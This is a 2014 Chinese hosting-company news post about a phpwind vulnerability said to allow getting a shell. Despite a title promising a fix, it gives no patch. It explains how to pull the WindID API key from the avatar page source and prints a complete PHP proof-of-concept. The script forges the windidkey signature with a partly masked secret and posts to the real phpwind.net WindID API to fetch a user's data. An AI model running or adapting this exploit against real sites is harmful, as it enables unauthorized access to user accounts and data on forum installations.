新聞中心
PHPWIND可拿shell的高危漏洞修補
作者 / 無憂主機 時間 2014-09-04 14:03:52
近期phpwind爆了一個高危漏洞,下面無憂主機小編跟大家說說下這個漏洞的問題。借鑒的國內漏洞網(wǎng)站測試的結果。 首先在src/applications/windidserver/api/controller/AppController.php內代碼:
public function listAction() { $result = $this->_getAppDs()->getList(); $this->output($result); }如何獲取可以訪問接口的key? 查看用戶上傳頭像頁面就可以知道了: /phpwind/src/windid/service/user/srv/WindidUserService.php 內的代碼:
$key = WindidUtility::appKey($appId, $time, $appKey, array('uid'=>$uid, 'type'=>'flash'), array('uid'=>'undefined'));去頭像頁面查看一下源文件 http://localhost/phpwind/index.php?m=profile&c=avatar&_left=avatar [caption id="attachment_16305" align="alignnone" width="300"]
![phpwind代碼截圖 phpwind代碼截圖](http://m.gle-technology.com/wp-content/uploads/2014/09/phpwind-9-4-1-300x69.png)
![phpwind問題情況截圖 phpwind問題情況截圖](http://m.gle-technology.com/wp-content/uploads/2014/09/phpwind-9-4-2-300x78.png)
<?php $secretkey = '308c6c43a*****279dd61dd80e8d59bd'; $c = 'user'; $a = 'get'; $data = array('uid'=>'658925'); $time = time(); $key = appKey('1', time(), $secretkey, array('userid'=>658925), $data); echo post('http://www.phpwind.net/windid/index.php?m=api&c='.$c.'&a='.$a.'&windidkey='.$key.'&time='.$time .'&clientid=1&userid=658925',$data); function post($uri,$data) { $ch = curl_init (); curl_setopt ( $ch, CURLOPT_URL, $uri ); curl_setopt ( $ch, CURLOPT_POST, 1 ); curl_setopt ( $ch, CURLOPT_HEADER, 0 ); curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, 1 ); curl_setopt ( $ch, CURLOPT_POSTFIELDS, $data ); $return = curl_exec ( $ch ); curl_close ( $ch ); return $return; } function appKey($apiId, $time, $secretkey, $get, $post) { $array = array('m', 'c', 'a', 'windidkey', 'clientid', 'time', '_json', 'jcallback', 'csrf_token', 'Filename', 'Upload', 'token'); $str = ''; ksort($get); ksort($post); foreach ($get AS $k=>$v) { if (in_array($k, $array)) continue; $str .=$k.$v; } foreach ($post AS $k=>$v) { if (in_array($k, $array)) continue; $str .=$k.$v; } return md5(md5($apiId.'||'.$secretkey).$time.$str); } ?>[caption id="attachment_16307" align="alignnone" width="300"]
![phpwind問題代碼截圖 phpwind問題代碼截圖](http://m.gle-technology.com/wp-content/uploads/2014/09/phpwind-9-4-3-300x10.jpg)
本文地址:http://m.gle-technology.com/phpwind/16300.html
![1](/wp-content/themes/starow_z/img/o-1.png)
![1](/wp-content/themes/starow_z/img/o-2.png)
![1](/wp-content/themes/starow_z/img/o-3.png)
![1](/wp-content/themes/starow_z/img/o-4.png)
![1](/wp-content/themes/starow_z/img/o-5.png)
![1](/wp-content/themes/starow_z/img/o-6.png)
![1](/wp-content/themes/starow_z/img/o-7.png)